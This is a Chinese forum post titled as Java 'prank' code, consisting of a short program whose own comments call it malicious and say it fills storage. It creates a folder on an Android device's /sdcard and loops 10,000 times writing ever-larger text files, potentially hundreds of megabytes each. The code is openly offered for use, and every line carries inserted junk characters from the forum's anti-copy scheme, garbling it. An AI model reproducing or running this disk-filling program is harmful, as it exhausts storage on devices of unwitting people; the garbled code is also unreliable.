登录  | 立即注册

游客您好!登录后享受更多精彩

查看: 913|回复: 0

【Java】内存恶搞代码

[复制链接]

444

主题

509

帖子

2051

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
2051

荣誉管理论坛元老

发表于 2021-6-30 22:04:54 来自手机 | 显示全部楼层 |阅读模式 来自:
  1. /*恶意程序7 ^2 i$ m" R9 n8 W
  2. *循环写文件消耗空间
    : G! o6 V& z. k; m/ ?, S6 c9 ^
  3. *当i为26是每个文件大概700多MB
    0 F. g9 e$ \' L! q
  4. *慎用: L* W0 n1 M: g* m4 n8 ^- ?/ q6 ~
  5. */
    $ o* L8 g6 J! z
  6. import java.util.*;
    - o- @6 [/ f( I9 D% l6 }
  7. import java.io.*;) ^1 s# J& o2 `5 ~
  8. import java.time.*;
    % K4 [2 h# i# r$ p5 C
  9. public class Main
      b7 c& q0 p) l6 Z- Q2 j
  10. {
      S3 R7 J0 B* x: M/ O/ O
  11.         public static void main(String[] args) throws FileNotFoundException, UnsupportedEncodingException, IOException
    : b+ R$ k1 c" i8 Q  G) B
  12.         {
    % u' h7 \; z$ g: t$ H
  13.                 String name= "/sdcard/B";
    7 Y" r3 g4 r* R# a  z3 N( V
  14.                 File dir = new File(name);//创建目录
    6 x( ~1 g6 j) F4 J* Z
  15.                 dir.mkdirs();
    2 g1 ~& H! L) ^2 ^/ f  p, H
  16.                 long time;//声明变量,用于文件名# h) A5 g& X6 ]3 `4 j/ h
  17.                 for(int c = 1;c <= 10000;c++){
    6 Y* A' _& Z1 b: r
  18.                         time = System.currentTimeMillis();//时间戳
    # V  x( b0 o8 |4 _4 E! n" |" c
  19.                         File txt = new File("/sdcard/B/"+time+".txt");//创建文件1 V% D5 W# n; ]( S+ e9 Z. Z
  20.                         OutputStream out = new FileOutputStream(txt);8 X* i  \3 X& \9 L) Z
  21.                         OutputStreamWriter writer = new OutputStreamWriter(out,"UTF-8");4 q6 W( P9 M( q. |! m. {& {( y
  22.                         String write = "I love you.";//待写入的字符串  H" F" {6 }# I# n" b) Q
  23.                         for(int i = 0;i<15;i++){//循环写入,i越大每个文件越大,i最大似乎是26,否则会出错
    ! n* x* t3 I3 g
  24.                                 writer.append(write+"\n");
    ! N8 O* I( \& N+ T; o* G
  25.                                 write+=write;
    9 E1 S7 M4 t  o- l$ d  Y( Z9 w
  26.                                 }
    $ h; Y0 Z0 S- G' m7 w
  27.                         writer.close();2 b6 h/ o9 K; U9 d* d% m
  28.                         out.close();
    $ g# I. k& L" b) y7 q
  29.                         System.out.println("done!");- \, d' H) A) r/ [
  30.                         }% l6 z. g+ J$ O/ D+ X
  31.         }7 Z" s& ^$ r/ _. w1 k8 h  z. M
  32. }' l9 j4 L, [6 g% L, N/ d& `( }
复制代码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|星空社区 |网站地图

GMT+8, 2024-4-30 05:54 , Processed in 0.052350 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表